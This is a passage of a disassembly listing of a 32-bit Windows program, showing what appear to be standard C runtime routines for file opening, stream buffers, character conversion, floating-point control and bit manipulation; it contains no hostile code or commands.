dword_4DC5E0, esi call sub_424E01 pop ecx mov dword_4DB5C8, eax test eax, eax pop ecx jnz short loc_423989 push 1Ah call sub_41DA29 pop ecx loc_423989: ; CODE XREF: sub_423936+30j ; sub_423936+49j xor ecx, ecx mov eax, offset off_43CA18 loc_423990: ; CODE XREF: sub_423936+6Ej mov edx, dword_4DB5C8 mov [ecx+edx], eax add eax, 20h add ecx, 4 cmp eax, offset dword_43CC98 jl short loc_423990 xor edx, edx mov ecx, offset dword_43CA28 loc_4239AD: ; CODE XREF: sub_423936+A1j mov eax, edx mov esi, edx sar eax, 5 and esi, 1Fh mov eax, dword_4DC600[eax*4] mov eax, [eax+esi*8] cmp eax, 0FFFFFFFFh jz short loc_4239CA test eax, eax jnz short loc_4239CD loc_4239CA: ; CODE XREF: sub_423936+8Ej or dword ptr [ecx], 0FFFFFFFFh loc_4239CD: ; CODE XREF: sub_423936+92j add ecx, 20h inc edx cmp ecx, offset dword_43CA88 jl short loc_4239AD pop esi retn sub_423936 endp ; =============== S U B R O U T I N E ======================================= sub_4239DB proc near ; DATA XREF: ___:00429034o ; FUNCTION CHUNK AT 00424EB2 SIZE 00000058 BYTES call sub_41DBE7 cmp byte_4DB2E8, 0 jz short locret_4239EE jmp loc_424EB2 ; --------------------------------------------------------------------------- locret_4239EE: ; CODE XREF: sub_4239DB+Cj retn sub_4239DB endp ; =============== S U B R O U T I N E ======================================= sub_4239EF proc near ; CODE XREF: sub_41F043+32p ; sub_41F58A+6Cp ... arg_0 = dword ptr 4 inc dword_4DB490 push 1000h call sub_41B4D5 pop ecx mov ecx, [esp+arg_0] test eax, eax mov [ecx+8], eax jz short loc_423A18 or dword ptr [ecx+0Ch], 8 mov dword ptr [ecx+18h], 1000h jmp short loc_423A29 ; --------------------------------------------------------------------------- loc_423A18: ; CODE XREF: sub_4239EF+1Aj or dword ptr [ecx+0Ch], 4 lea eax, [ecx+14h] mov [ecx+8], eax mov dword ptr [ecx+18h], 2 loc_423A29: ; CODE XREF: sub_4239EF+27j mov eax, [ecx+8] and dword ptr [ecx+4], 0 mov [ecx], eax retn sub_4239EF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_423A33 proc near ; CODE XREF: sub_41F32D+13Fp var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 1Ch mov ecx, [ebp+arg_4] push ebx xor ebx, ebx push esi test cl, 80h push edi mov [ebp+var_1C], 0Ch mov [ebp+var_18], ebx jz short loc_423A59 mov [ebp+var_14], ebx mov [ebp+var_1], 10h jmp short loc_423A64 ; --------------------------------------------------------------------------- loc_423A59: ; CODE XREF: sub_423A33+1Bj and [ebp+var_1], 0 mov [ebp+var_14], 1 loc_423A64: ; CODE XREF: sub_423A33+24j mov eax, 8000h test ecx, eax jnz short loc_423A7E test ch, 40h jnz short loc_423A7A cmp dword_4DB5A0, eax jz short loc_423A7E loc_423A7A: ; CODE XREF: sub_423A33+3Dj or [ebp+var_1], 80h loc_423A7E: ; CODE XREF: sub_423A33+38j ; sub_423A33+45j push 3 mov eax, ecx pop esi and eax, esi sub eax, ebx jz short loc_423AB6 dec eax jz short loc_423AAD dec eax jz short loc_423AA4 loc_423A8F: ; CODE XREF: sub_423A33+9Fj ; sub_423A33+E8j ... mov dword_4DB2A8, 16h mov dword_4DB2AC, ebx jmp loc_423CC9 ; --------------------------------------------------------------------------- loc_423AA4: ; CODE XREF: sub_423A33+5Aj mov [ebp+var_C], 0C0000000h jmp short loc_423ABD ; --------------------------------------------------------------------------- loc_423AAD: ; CODE XREF: sub_423A33+57j mov [ebp+var_C], 40000000h jmp short loc_423ABD ; --------------------------------------------------------------------------- loc_423AB6: ; CODE XREF: sub_423A33+54j mov [ebp+var_C], 80000000h loc_423ABD: ; CODE XREF: sub_423A33+78j ; sub_423A33+81j mov eax, [ebp+arg_8] cmp eax, 10h jz short loc_423AEB cmp eax, 20h jz short loc_423AE2 cmp eax, 30h jz short loc_423AD9 cmp eax, 40h jnz short loc_423A8F mov [ebp+var_10], esi jmp short loc_423AEE ; --------------------------------------------------------------------------- loc_423AD9: ; CODE XREF: sub_423A33+9Aj mov [ebp+var_10], 2 jmp short loc_423AEE ; --------------------------------------------------------------------------- loc_423AE2: ; CODE XREF: sub_423A33+95j mov [ebp+var_10], 1 jmp short loc_423AEE ; --------------------------------------------------------------------------- loc_423AEB: ; CODE XREF: sub_423A33+90j mov [ebp+var_10], ebx loc_423AEE: ; CODE XREF: sub_423A33+A4j ; sub_423A33+ADj ... mov edx, 700h mov eax, 400h and ecx, edx mov edi, 100h cmp ecx, eax jg short loc_423B38 jz short loc_423B33 cmp ecx, ebx jz short loc_423B33 cmp ecx, edi jz short loc_423B2A cmp ecx, 200h jz short loc_423B51 cmp ecx, 300h jnz loc_423A8F mov [ebp+var_8], 2 jmp short loc_423B61 ; --------------------------------------------------------------------------- loc_423B2A: ; CODE XREF: sub_423A33+D8j mov [ebp+var_8], 4 jmp short loc_423B61 ; --------------------------------------------------------------------------- loc_423B33: ; CODE XREF: sub_423A33+D0j ; sub_423A33+D4j mov [ebp+var_8], esi jmp short loc_423B61 ; --------------------------------------------------------------------------- loc_423B38: ; CODE XREF: sub_423A33+CEj cmp ecx, 500h jz short loc_423B5A cmp ecx, 600h jz short loc_423B51 cmp ecx, edx jz short loc_423B5A jmp loc_423A8F ; --------------------------------------------------------------------------- loc_423B51: ; CODE XREF: sub_423A33+E0j ; sub_423A33+113j mov [ebp+var_8], 5 jmp short loc_423B61 ; --------------------------------------------------------------------------- loc_423B5A: ; CODE XREF: sub_423A33+10Bj ; sub_423A33+117j mov [ebp+var_8], 1 loc_423B61: ; CODE XREF: sub_423A33+F5j ; sub_423A33+FEj ... mov eax, [ebp+arg_4] mov esi, 80h test eax, edi jz short loc_423B80 mov ecx, dword_4DB2B0 not ecx and ecx, [ebp+arg_C] test cl, 80h jnz short loc_423B80 push 1 pop esi loc_423B80: ; CODE XREF: sub_423A33+138j ; sub_423A33+148j test al, 40h jz short loc_423B8E or esi, 4000000h or byte ptr [ebp+var_C+2], 1 loc_423B8E: ; CODE XREF: sub_423A33+14Fj test ah, 10h jz short loc_423B95 or esi, edi loc_423B95: ; CODE XREF: sub_423A33+15Ej test al, 20h jz short loc_423BA1 or esi, 8000000h jmp short loc_423BAB ; --------------------------------------------------------------------------- loc_423BA1: ; CODE XREF: sub_423A33+164j test al, 10h jz short loc_423BAB or esi, 10000000h loc_423BAB: ; CODE XREF: sub_423A33+16Cj ; sub_423A33+170j call sub_42371C mov ebx, eax or edi, 0FFFFFFFFh cmp ebx, edi jnz short loc_423BCC and dword_4DB2AC, 0 mov dword_4DB2A8, 18h jmp short loc_423C0A ; --------------------------------------------------------------------------- loc_423BCC: ; CODE XREF: sub_423A33+184j push 0 push esi push [ebp+var_8] lea eax, [ebp+var_1C] push eax push [ebp+var_10] push [ebp+var_C] push [ebp+arg_0] nop call near ptr 26F09A7h mov esi, eax cmp esi, edi jz short loc_423BFD push esi nop call near ptr 2620784h test eax, eax jnz short loc_423C11 push esi call near ptr 26508C8h nop loc_423BFD: ; CODE XREF: sub_423A33+1B6j call near ptr 267064Ch nop push eax call sub_4203DF pop ecx loc_423C0A: ; CODE XREF: sub_423A33+197j mov eax, edi jmp loc_423CE7 ; --------------------------------------------------------------------------- loc_423C11: ; CODE XREF: sub_423A33+1C1j cmp eax, 2 jnz short loc_423C1C or [ebp+var_1], 40h jmp short loc_423C25 ; --------------------------------------------------------------------------- loc_423C1C: ; CODE XREF: sub_423A33+1E1j cmp eax, 3 jnz short loc_423C25 or [ebp+var_1], 8 loc_423C25: ; CODE XREF: sub_423A33+1E7j ; sub_423A33+1ECj push esi push ebx call sub_4237B1 pop ecx mov al, [ebp+var_1] pop ecx mov esi, ebx mov ecx, ebx or al, 1 sar ecx, 5 and esi, 1Fh mov byte ptr [ebp+arg_0+3], al lea edi, ds:4DC600h[ecx*4] shl esi, 3 mov ecx, [edi] and byte ptr [ebp+arg_0+3], 48h mov [ecx+esi+4], al jnz short loc_423CCE test al, 80h jz short loc_423CCE test byte ptr [ebp+arg_4], 2 jz short loc_423CCE push 2 push 0FFFFFFFFh push ebx call sub_42272B add esp, 0Ch cmp eax, 0FFFFFFFFh mov [ebp+var_10], eax jnz short loc_423C83 cmp dword_4DB2AC, 83h jz short loc_423CCE jmp short loc_423CC2 ; --------------------------------------------------------------------------- loc_423C83: ; CODE XREF: sub_423A33+240j and byte ptr [ebp+arg_8+3], 0 lea eax, [ebp+arg_8+3] push 1 push eax push ebx call sub_41F11C add esp, 0Ch test eax, eax jnz short loc_423CB0 cmp byte ptr [ebp+arg_8+3], 1Ah jnz short loc_423CB0 push [ebp+var_10] push ebx call sub_424F0A pop ecx cmp eax, 0FFFFFFFFh pop ecx jz short loc_423CC2 loc_423CB0: ; CODE XREF: sub_423A33+265j ; sub_423A33+26Bj push 0 push 0 push ebx call sub_42272B add esp, 0Ch cmp eax, 0FFFFFFFFh jnz short loc_423CCE loc_423CC2: ; CODE XREF: sub_423A33+24Ej ; sub_423A33+27Bj push ebx call sub_41DA72 pop ecx loc_423CC9: ; CODE XREF: sub_423A33+6Cj or eax, 0FFFFFFFFh jmp short loc_423CE7 ; --------------------------------------------------------------------------- loc_423CCE: ; CODE XREF: sub_423A33+221j ; sub_423A33+225j ... cmp byte ptr [ebp+arg_0+3], 0 jnz short loc_423CE5 test byte ptr [ebp+arg_4], 8 jz short loc_423CE5 mov eax, [edi] or byte ptr [eax+esi+4], 20h lea eax, [eax+esi+4] loc_423CE5: ; CODE XREF: sub_423A33+29Fj ; sub_423A33+2A5j mov eax, ebx loc_423CE7: ; CODE XREF: sub_423A33+1D9j ; sub_423A33+299j pop edi pop esi pop ebx leave retn sub_423A33 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_423CEC proc near ; CODE XREF: sub_41F515+5Ep ; sub_4200E8+9Ap var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = byte ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_427C50 push offset sub_4234B8 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 18h push ebx push esi push edi mov [ebp+var_18], esp mov eax, dword_4DB498 xor ebx, ebx cmp eax, ebx jnz short loc_423D5B lea eax, [ebp+var_1C] push eax push 1 pop esi push esi push offset dword_427940 push esi nop call near ptr 261005Dh test eax, eax jz short loc_423D39 mov eax, esi jmp short loc_423D56 ; --------------------------------------------------------------------------- loc_423D39: ; CODE XREF: sub_423CEC+47j lea eax, [ebp+var_1C] push eax push esi push offset dword_4CAE5C push esi push ebx nop call near ptr 2610794h test eax, eax jz loc_423E21 push 2 pop eax loc_423D56: ; CODE XREF: sub_423CEC+4Bj mov dword_4DB498, eax loc_423D5B: ; CODE XREF: sub_423CEC+2Fj cmp eax, 2 jnz short loc_423D84 mov eax, [ebp+arg_14] cmp eax, ebx jnz short loc_423D6C mov eax, dword_4DB364 loc_423D6C: ; CODE XREF: sub_423CEC+79j push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] push eax call near ptr 2610794h nop jmp loc_423E23 ; --------------------------------------------------------------------------- loc_423D84: ; CODE XREF: sub_423CEC+72j cmp eax, 1 jnz loc_423E21 cmp [ebp+arg_10], ebx jnz short loc_423D9A mov eax, dword_4DB374 mov [ebp+arg_10], eax loc_423D9A: ; CODE XREF: sub_423CEC+A4j push ebx push ebx push [ebp+arg_8] push [ebp+arg_4] mov eax, [ebp+arg_18] neg eax sbb eax, eax and eax, 8 inc eax push eax push [ebp+arg_10] call near ptr 2820000h nop mov [ebp+var_20], eax cmp eax, ebx jz short loc_423E21 mov [ebp+var_4], ebx lea edi, [eax+eax] mov eax, edi add eax, 3 and al, 0FCh call sub_41BB20 mov [ebp+var_18], esp mov esi, esp mov [ebp+var_24], esi push edi push ebx push esi call sub_41B590 add esp, 0Ch jmp short loc_423DF0 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor ebx, ebx xor esi, esi loc_423DF0: ; CODE XREF: sub_423CEC+F7j or [ebp+var_4], 0FFFFFFFFh cmp esi, ebx jz short loc_423E21 push [ebp+var_20] push esi push [ebp+arg_8] push [ebp+arg_4] push 1 push [ebp+arg_10] call near ptr 2820000h nop cmp eax, ebx jz short loc_423E21 push [ebp+arg_C] push eax push esi push [ebp+arg_0] call near ptr 261005Dh nop jmp short loc_423E23 ; --------------------------------------------------------------------------- loc_423E21: ; CODE XREF: sub_423CEC+61j ; sub_423CEC+9Bj ... xor eax, eax loc_423E23: ; CODE XREF: sub_423CEC+93j ; sub_423CEC+133j lea esp, [ebp-34h] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_423CEC endp ; =============== S U B R O U T I N E ======================================= sub_423E35 proc near ; CODE XREF: sub_41F58A+61p ; sub_420446+8p arg_0 = dword ptr 4 mov eax, [esp+arg_0] cmp eax, dword_4DC700 jb short loc_423E44 xor eax, eax retn ; --------------------------------------------------------------------------- loc_423E44: ; CODE XREF: sub_423E35+Aj mov ecx, eax and eax, 1Fh sar ecx, 5 mov ecx, dword_4DC600[ecx*4] mov al, [ecx+eax*8+4] and eax, 40h retn sub_423E35 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_423E5B proc near ; CODE XREF: sub_41F69F+2D4p ; sub_41F69F+6B3p arg_0 = dword ptr 8 arg_4 = word ptr 0Ch push ebp mov ebp, esp mov eax, [ebp+arg_0] test eax, eax jnz short loc_423E67 pop ebp retn ; --------------------------------------------------------------------------- loc_423E67: ; CODE XREF: sub_423E5B+8j cmp dword_4DB364, 0 jnz short loc_423E82 mov cx, [ebp+arg_4] cmp cx, 0FFh ja short loc_423EB4 push 1 mov [eax], cl pop eax pop ebp retn ; --------------------------------------------------------------------------- loc_423E82: ; CODE XREF: sub_423E5B+13j lea ecx, [ebp+arg_0] and [ebp+arg_0], 0 push ecx push 0 push dword_43C534 push eax lea eax, [ebp+arg_4] push 1 push eax push 220h push dword_4DB374 call near ptr 2810000h nop test eax, eax jz short loc_423EB4 cmp [ebp+arg_0], 0 jz short loc_423EC1 loc_423EB4: ; CODE XREF: sub_423E5B+1Ej ; sub_423E5B+51j mov dword_4DB2A8, 2Ah or eax, 0FFFFFFFFh loc_423EC1: ; CODE XREF: sub_423E5B+57j pop ebp retn sub_423E5B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_423EC3 proc near ; CODE XREF: sub_420510+6A3p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ebx push esi mov esi, [ebp+arg_4] xor ebx, ebx cmp esi, ebx jz short loc_423EE6 cmp [ebp+arg_8], ebx jz short loc_423EE6 mov al, [esi] cmp al, bl jnz short loc_423EEC mov eax, [ebp+arg_0] cmp eax, ebx jz short loc_423EE6 mov [eax], bx loc_423EE6: ; CODE XREF: sub_423EC3+Cj ; sub_423EC3+11j ... xor eax, eax loc_423EE8: ; CODE XREF: sub_423EC3+42j ; sub_423EC3+86j ... pop esi pop ebx pop ebp retn ; --------------------------------------------------------------------------- loc_423EEC: ; CODE XREF: sub_423EC3+17j cmp dword_4DB364, ebx jnz short loc_423F07 mov ecx, [ebp+arg_0] cmp ecx, ebx jz short loc_423F02 movzx ax, al mov [ecx], ax loc_423F02: ; CODE XREF: sub_423EC3+36j ; sub_423EC3+C0j push 1 pop eax jmp short loc_423EE8 ; --------------------------------------------------------------------------- loc_423F07: ; CODE XREF: sub_423EC3+2Fj mov ecx, off_43C328 movzx eax, al test byte ptr [ecx+eax*2+1], 80h jz short loc_423F64 mov eax, dword_43C534 cmp eax, 1 jle short loc_423F4B cmp [ebp+arg_8], eax jl short loc_423F55 xor ecx, ecx cmp [ebp+arg_0], ebx setnz cl push ecx push [ebp+arg_0] push eax push esi push 9 push dword_4DB374 nop call near ptr 2820000h test eax, eax mov eax, dword_43C534 jnz short loc_423EE8 loc_423F4B: ; CODE XREF: sub_423EC3+5Cj cmp [ebp+arg_8], eax jb short loc_423F55 cmp [esi+1], bl jnz short loc_423EE8 loc_423F55: ; CODE XREF: sub_423EC3+61j ; sub_423EC3+8Bj ... mov dword_4DB2A8, 2Ah or eax, 0FFFFFFFFh jmp short loc_423EE8 ; --------------------------------------------------------------------------- loc_423F64: ; CODE XREF: sub_423EC3+52j xor eax, eax cmp [ebp+arg_0], ebx setnz al push eax push [ebp+arg_0] push 1 push esi push 9 push dword_4DB374 nop call near ptr 2820000h test eax, eax jnz loc_423F02 jmp short loc_423F55 sub_423EC3 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_423F90 proc near ; CODE XREF: sub_420510+797p ; sub_420510+7E7p cmp cl, 40h jnb short loc_423FAA cmp cl, 20h jnb short loc_423FA0 shld edx, eax, cl shl eax, cl retn ; --------------------------------------------------------------------------- loc_423FA0: ; CODE XREF: sub_423F90+8j mov edx, eax xor eax, eax and cl, 1Fh shl edx, cl retn ; --------------------------------------------------------------------------- loc_423FAA: ; CODE XREF: sub_423F90+3j xor eax, eax xor edx, edx retn sub_423F90 endp ; =============== S U B R O U T I N E ======================================= sub_423FAF proc near ; CODE XREF: sub_420F86+Fp arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx mov ebx, [esp+4+arg_0] cmp ebx, 0FFFFFFFFh push esi jz short loc_423FFB mov esi, [esp+8+arg_4] mov eax, [esi+0Ch] test al, 1 jnz short loc_423FCD test al, 80h jz short loc_423FFB test al, 2 jnz short loc_423FFB loc_423FCD: ; CODE XREF: sub_423FAF+14j cmp dword ptr [esi+8], 0 jnz short loc_423FDA push esi call sub_4239EF pop ecx loc_423FDA: ; CODE XREF: sub_423FAF+22j mov eax, [esi] cmp eax, [esi+8] jnz short loc_423FEA cmp dword ptr [esi+4], 0 jnz short loc_423FFB inc eax mov [esi], eax loc_423FEA: ; CODE XREF: sub_423FAF+30j test byte ptr [esi+0Ch], 40h jz short loc_424001 dec dword ptr [esi] mov eax, [esi] cmp [eax], bl jz short loc_424007 inc eax mov [esi], eax loc_423FFB: ; CODE XREF: sub_423FAF+9j ; sub_423FAF+18j ... or eax, 0FFFFFFFFh loc_423FFE: ; CODE XREF: sub_423FAF+6Cj pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_424001: ; CODE XREF: sub_423FAF+3Fj dec dword ptr [esi] mov eax, [esi] mov [eax], bl loc_424007: ; CODE XREF: sub_423FAF+47j mov eax, [esi+0Ch] inc dword ptr [esi+4] and al, 0EFh or al, 1 mov [esi+0Ch], eax mov eax, ebx and eax, 0FFh jmp short loc_423FFE sub_423FAF endp ; =============== S U B R O U T I N E ======================================= sub_42401D proc near ; CODE XREF: sub_421576+52p xor eax, eax retn sub_42401D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424020 proc near ; CODE XREF: sub_424055+Ep var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push esi fstcw word ptr [ebp+var_4] push [ebp+var_4] call sub_42406B mov esi, eax mov eax, [ebp+arg_4] not eax and esi, eax mov eax, [ebp+arg_0] and eax, [ebp+arg_4] or esi, eax push esi call sub_4240FD pop ecx mov [ebp+arg_4], eax pop ecx fldcw word ptr [ebp+arg_4] mov eax, esi pop esi leave retn sub_424020 endp ; =============== S U B R O U T I N E ======================================= sub_424055 proc near ; CODE XREF: sub_421862+Ap arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] and eax, 0FFF7FFFFh push eax push [esp+4+arg_0] call sub_424020 pop ecx pop ecx retn sub_424055 endp ; =============== S U B R O U T I N E ======================================= sub_42406B proc near ; CODE XREF: sub_424020+Cp arg_0 = dword ptr 4 push ebx mov ebx, [esp+4+arg_0] xor eax, eax push ebp test bl, 1 push edi jz short loc_42407C push 10h pop eax loc_42407C: ; CODE XREF: sub_42406B+Cj test bl, 4 jz short loc_424083 or al, 8 loc_424083: ; CODE XREF: sub_42406B+14j test bl, 8 jz short loc_42408A or al, 4 loc_42408A: ; CODE XREF: sub_42406B+1Bj test bl, 10h jz short loc_424091 or al, 2 loc_424091: ; CODE XREF: sub_42406B+22j test bl, 20h jz short loc_424098 or al, 1 loc_424098: ; CODE XREF: sub_42406B+29j test bl, 2 jz short loc_4240A2 or eax, 80000h loc_4240A2: ; CODE XREF: sub_42406B+30j movzx ecx, bx push esi mov edx, ecx mov esi, 0C00h mov edi, 300h and edx, esi mov ebp, 200h jz short loc_4240DA cmp edx, 400h jz short loc_4240D7 cmp edx, 800h jz short loc_4240D3 cmp edx, esi jnz short loc_4240DA or eax, edi jmp short loc_4240DA ; --------------------------------------------------------------------------- loc_4240D3: ; CODE XREF: sub_42406B+5Ej or eax, ebp jmp short loc_4240DA ; --------------------------------------------------------------------------- loc_4240D7: ; CODE XREF: sub_42406B+56j or ah, 1 loc_4240DA: ; CODE XREF: sub_42406B+4Ej ; sub_42406B+62j ... and ecx, edi pop esi jz short loc_4240EA cmp ecx, ebp jnz short loc_4240EF or eax, 10000h jmp short loc_4240EF ; --------------------------------------------------------------------------- loc_4240EA: ; CODE XREF: sub_42406B+72j or eax, 20000h loc_4240EF: ; CODE XREF: sub_42406B+76j ; sub_42406B+7Dj pop edi pop ebp test bh, 10h pop ebx jz short locret_4240FC or eax, 40000h locret_4240FC: ; CODE XREF: sub_42406B+8Aj retn sub_42406B endp ; =============== S U B R O U T I N E ======================================= sub_4240FD proc near ; CODE XREF: sub_424020+23p arg_0 = dword ptr 4 push ebx mov ebx, [esp+4+arg_0] xor eax, eax push esi test bl, 10h jz short loc_42410D push 1 pop eax loc_42410D: ; CODE XREF: sub_4240FD+Bj test bl, 8 jz short loc_424114 or al, 4 loc_424114: ; CODE XREF: sub_4240FD+13j test bl, 4 jz short loc_42411B or al, 8 loc_42411B: ; CODE XREF: sub_4240FD+1Aj test bl, 2 jz short loc_424122 or al, 10h loc_424122: ; CODE XREF: sub_4240FD+21j test bl, 1 jz short loc_424129 or al, 20h loc_424129: ; CODE XREF: sub_4240FD+28j test ebx, 80000h jz short loc_424133 or al, 2 loc_424133: ; CODE XREF: sub_4240FD+32j mov ecx, ebx mov edx, 300h and ecx, edx mov esi, 200h jz short loc_424160 cmp ecx, 100h jz short loc_42415D cmp ecx, esi jz short loc_424158 cmp ecx, edx jnz short loc_424160 or ah, 0Ch jmp short loc_424160 ; --------------------------------------------------------------------------- loc_424158: ; CODE XREF: sub_4240FD+50j or ah, 8 jmp short loc_424160 ; --------------------------------------------------------------------------- loc_42415D: ; CODE XREF: sub_4240FD+4Cj or ah, 4 loc_424160: ; CODE XREF: sub_4240FD+44j ; sub_4240FD+54j ... mov ecx, ebx and ecx, 30000h jz short loc_424176 cmp ecx, 10000h jnz short loc_424178 or eax, esi jmp short loc_424178 ; --------------------------------------------------------------------------- loc_424176: ; CODE XREF: sub_4240FD+6Bj or eax, edx loc_424178: ; CODE XREF: sub_4240FD+73j ; sub_4240FD+77j pop esi test ebx, 40000h pop ebx jz short locret_424185 or ah, 10h locret_424185: ; CODE XREF: sub_4240FD+83j retn sub_4240FD endp ; =============== S U B R O U T I N E ======================================= sub_424186 proc near ; CODE XREF: sub_424225+48p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] push esi push 20h cdq pop ecx idiv ecx push 1Fh mov esi, eax mov eax, [esp+8+arg_4] cdq idiv ecx pop ecx mov eax, [esp+4+arg_0] sub ecx, edx or edx, 0FFFFFFFFh shl edx, cl not edx test [eax+esi*4], edx jnz short loc_4241CB inc esi cmp esi, 3 jge short loc_4241C6 lea eax, [eax+esi*4] loc_4241B8: ; CODE XREF: sub_424186+3Ej cmp dword ptr [eax], 0 jnz short loc_4241CB inc esi add eax, 4 cmp esi, 3 jl short loc_4241B8 loc_4241C6: ; CODE XREF: sub_424186+2Dj push 1 pop eax pop esi retn ; --------------------------------------------------------------------------- loc_4241CB: ; CODE XREF: sub_424186+27j ; sub_424186+35j xor eax, eax pop esi retn sub_424186 endp ; =============== S U B R O U T I N E ======================================= sub_4241CF proc near ; CODE XREF: sub_424225+57p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] push ebx push esi push edi push 20h mov ebx, [esp+10h+arg_0] cdq pop ecx idiv ecx mov esi, eax mov eax, [esp+0Ch+arg_4] cdq idiv ecx lea edi, [ebx+esi*4] push edi push 1Fh pop ecx push 1 pop eax sub ecx, edx shl eax, cl push eax push dword ptr [edi] call sub_425050 add esp, 0Ch dec esi js short loc_424221 lea edi, [ebx+esi*4] loc_424208: ; CODE XREF: sub_4241CF+50j test eax, eax jz short loc_424221 push edi push 1 push dword ptr [edi] call sub_425050 add esp, 0Ch dec esi sub edi, 4 test esi, esi jge short loc_424208 loc_424221: ; CODE XREF: sub_4241CF+34j ; sub_4241CF+3Bj pop edi pop esi pop ebx retn sub_4241CF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424225 proc near ; CODE XREF: sub_424380+81p ; sub_424380+CCp var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx mov eax, [ebp+arg_4] push ebx push esi push edi lea edi, [eax-1] push 20h pop ecx and [ebp+var_4], 0 lea ebx, [edi+1] push 20h mov eax, ebx pop esi cdq idiv ecx push 1Fh mov ecx, eax mov eax, ebx cdq idiv esi mov eax, [ebp+arg_0] pop esi push 1 mov [ebp+var_8], ecx lea eax, [eax+ecx*4] mov [ebp+arg_4], eax sub esi, edx pop edx mov ecx, esi shl edx, cl test [eax], edx jz short loc_424289 inc ebx push ebx push [ebp+arg_0] call sub_424186 pop ecx test eax, eax pop ecx jnz short loc_424286 push edi push [ebp+arg_0] call sub_4241CF pop ecx mov [ebp+var_4], eax pop ecx loc_424286: ; CODE XREF: sub_424225+51j mov eax, [ebp+arg_4] loc_424289: ; CODE XREF: sub_424225+41j or edx, 0FFFFFFFFh mov ecx, esi shl edx, cl push 3 pop ecx and [eax], edx mov eax, [ebp+var_8] inc eax cmp eax, ecx jge short loc_4242A9 mov edx, [ebp+arg_0] sub ecx, eax lea edi, [edx+eax*4] xor eax, eax rep stosd loc_4242A9: ; CODE XREF: sub_424225+76j mov eax, [ebp+var_4] pop edi pop esi pop ebx leave retn sub_424225 endp ; =============== S U B R O U T I N E ======================================= sub_4242B1 proc near ; CODE XREF: sub_424380+75p ; sub_424380+B6p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] push esi push 3 sub ecx, eax pop edx loc_4242BF: ; CODE XREF: sub_4242B1+17j mov esi, [eax] mov [ecx+eax], esi add eax, 4 dec edx jnz short loc_4242BF pop esi retn sub_4242B1 endp ; =============== S U B R O U T I N E ======================================= sub_4242CC proc near ; CODE XREF: sub_424380+5Fp ; sub_424380+9Ep ... arg_0 = dword ptr 4 push edi mov edi, [esp+4+arg_0] xor eax, eax stosd stosd stosd pop edi retn sub_4242CC endp ; =============== S U B R O U T I N E ======================================= sub_4242D8 proc near ; CODE XREF: sub_424380+4Dp arg_0 = dword ptr 4 mov eax, [esp+arg_0] xor ecx, ecx loc_4242DE: ; CODE XREF: sub_4242D8+12j cmp dword ptr [eax], 0 jnz short loc_4242F0 inc ecx add eax, 4 cmp ecx, 3 jl short loc_4242DE push 1 pop eax retn ; --------------------------------------------------------------------------- loc_4242F0: ; CODE XREF: sub_4242D8+9j xor eax, eax retn sub_4242D8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4242F3 proc near ; CODE XREF: sub_424380+C0p ; sub_424380+DAp ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch mov eax, [ebp+arg_4] push ebx push esi push edi push 20h mov edi, [ebp+arg_0] pop ebx or esi, 0FFFFFFFFh cdq mov ecx, ebx mov [ebp+var_4], 3 idiv ecx mov [ebp+var_C], eax mov eax, [ebp+arg_4] cdq idiv ecx and [ebp+arg_4], 0 mov ecx, edx shl esi, cl sub ebx, edx not esi loc_424329: ; CODE XREF: sub_4242F3+58j mov eax, [edi] mov ecx, eax and ecx, esi mov [ebp+var_8], ecx mov ecx, edx shr eax, cl or eax, [ebp+arg_4] mov [edi], eax mov eax, [ebp+var_8] mov ecx, ebx add edi, 4 shl eax, cl dec [ebp+var_4] mov [ebp+arg_4], eax jnz short loc_424329 mov edi, [ebp+var_C] push 2 pop ebx mov esi, edi push 8 pop ecx shl esi, 2 loc_42435B: ; CODE XREF: sub_4242F3+86j cmp ebx, edi jl short loc_42436E mov edx, [ebp+arg_0] mov eax, ecx sub eax, esi mov eax, [eax+edx] mov [ecx+edx], eax jmp short loc_424375 ; --------------------------------------------------------------------------- loc_42436E: ; CODE XREF: sub_4242F3+6Aj mov eax, [ebp+arg_0] and dword ptr [ecx+eax], 0 loc_424375: ; CODE XREF: 